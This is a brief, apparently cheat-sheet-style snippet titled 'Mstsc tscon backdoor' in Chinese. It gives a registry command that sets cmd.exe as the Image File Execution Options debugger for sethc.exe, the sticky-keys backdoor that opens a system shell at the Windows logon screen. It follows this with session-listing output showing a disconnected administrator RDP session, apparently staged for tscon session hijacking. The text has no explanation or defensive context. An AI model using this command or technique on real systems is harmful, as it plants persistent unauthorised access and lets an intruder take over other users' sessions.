Mstsc tscon 后门

1

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

1
2

USERNAME        SESSIONNAME     ID  STATE  IDLE TIME   LOGON TIME
administrator   rdp-tcp#1        1  Disc       none    6/30/2018 10:00